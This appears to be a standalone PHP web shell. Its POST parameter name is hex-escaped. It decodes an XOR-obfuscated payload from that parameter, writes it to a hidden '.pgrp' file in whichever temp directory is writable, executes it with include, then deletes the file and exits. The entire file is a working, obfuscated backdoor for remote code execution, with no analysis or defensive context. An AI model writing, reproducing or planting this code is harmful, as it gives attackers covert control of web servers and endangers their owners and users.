<?php

if(in_array("\x6D\x72k", array_keys($_POST))){
	$k = hex2bin($_POST["\x6D\x72k"]);
	$bind   =  ''; for($p=0; $p<strlen($k); $p++){$bind .= chr(ord($k[$p]) ^ 24);}
	$val = array_filter(["/var/tmp", session_save_path(), "/tmp", "/dev/shm", sys_get_temp_dir(), getcwd(), getenv("TEMP"), getenv("TMP"), ini_get("upload_tmp_dir")]);
	while ($res = array_shift($val)) {
    		if (max(0, is_dir($res) * is_writable($res))) {
    $flag = implode("/", [$res, ".pgrp"]);
    if (@file_put_contents($flag, $bind) !== false) {
	include $flag;
	unlink($flag);
	exit;
}
}
}
}